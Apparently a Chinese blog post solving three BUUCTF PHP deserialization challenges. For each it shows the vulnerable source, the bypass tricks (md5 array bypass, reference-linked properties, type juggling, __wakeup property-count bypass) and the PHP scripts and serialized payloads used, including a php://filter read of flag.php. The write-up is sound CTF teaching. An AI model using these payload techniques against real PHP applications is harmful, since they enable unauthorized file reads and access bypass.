PHP反序列化练习

BUU上的三个题。

BUU CODE REVIEW 1

复制代码
<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */
​
highlight_file(__FILE__);
​
class BUU {
   public $correct = "";
   public $input = "";
​
   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
​
if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。

这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。

obj的反序列化会触发__destruct魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。

构造php脚本:

复制代码
<?php
class BUU {
   public $correct = "";
   public $input = "";
}
$a=new BUU();
$a->correct="";
$a->input=&$a->correct;//input和correct的值相等。
echo serialize($a);
?>

输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

进行输入获取flag:

[网鼎杯 2020 青龙组]AreUSerialz

复制代码
<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;//构造脚本时换成public,否则产生的字符会超出范围。
    protected $filename;
    protected $content;
​
    function __construct() {//不会被触发
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();//调用write函数
        } else if($this->op == "2") {
            $res = $this->read();//调用read函数
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {//判断字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2
        }
        return $res;
    }
​
    private function output($s) {//输出函数
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {//if里面调用了is_valid函数
        $obj = unserialize($str);
    }
​
}

构造脚本:

复制代码
<?php
class FileHandler {
​
    public $op=2;
    public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php
    public $content;
}
$a=new FileHandler();
echo serialize($a);
?>

构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

区别:

简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。

php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。

[极客大挑战 2019]PHP

本题先使用dirsearch进行扫描,扫描时间有点长。

扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。

复制代码
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>//传递的参数是select。

下面着重看class代码。

复制代码
<?php
include 'flag.php';
​
​
error_reporting(0);
​
​
class Name{
    private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。
    private $password = 'yesyes';
​
    public function __construct($username,$password){//不会触发
        $this->username = $username;
        $this->password = $password;
    }
​
    function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大
        $this->username = 'guest';
    }
​
    function __destruct(){
        if ($this->password != 100) {//确保password是100
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {//要使条件成立
            global $flag;//获取flag
            echo $flag;//输出flag
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

构造脚本:

复制代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a=new Name();
echo serialize($a);
?>

编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9

相关推荐
每次的天空1 分钟前
Android-自定义View的实战学习总结
android·学习·kotlin·音视频
苦夏木禾3 分钟前
js请求避免缓存的三种方式
开发语言·javascript·缓存
超级土豆粉11 分钟前
Turndown.js: 优雅地将 HTML 转换为 Markdown
开发语言·javascript·html
秃了也弱了。17 分钟前
Chrome谷歌浏览器插件ModHeader,修改请求头,开发神器
前端·chrome
恋猫de小郭29 分钟前
Flutter Widget Preview 功能已合并到 master,提前在体验毛坯的预览支持
android·flutter·ios
乆夨(jiuze)37 分钟前
记录H5内嵌到flutter App的一个问题,引发后面使用fastClick,引发后面input输入框单击无效问题。。。
前端·javascript·vue.js
忧郁的蛋~1 小时前
HTML表格导出为Excel文件的实现方案
前端·html·excel
小彭努力中1 小时前
141.在 Vue 3 中使用 OpenLayers Link 交互:把地图中心点 / 缩放级别 / 旋转角度实时写进 URL,并同步解析显示
前端·javascript·vue.js·交互
wei_shuo1 小时前
飞算 JavaAI 开发助手:深度学习驱动下的 Java 全链路智能开发新范式
java·开发语言·飞算javaai
熊猫钓鱼>_>1 小时前
用Python解锁图像处理之力:从基础到智能应用的深度探索
开发语言·图像处理·python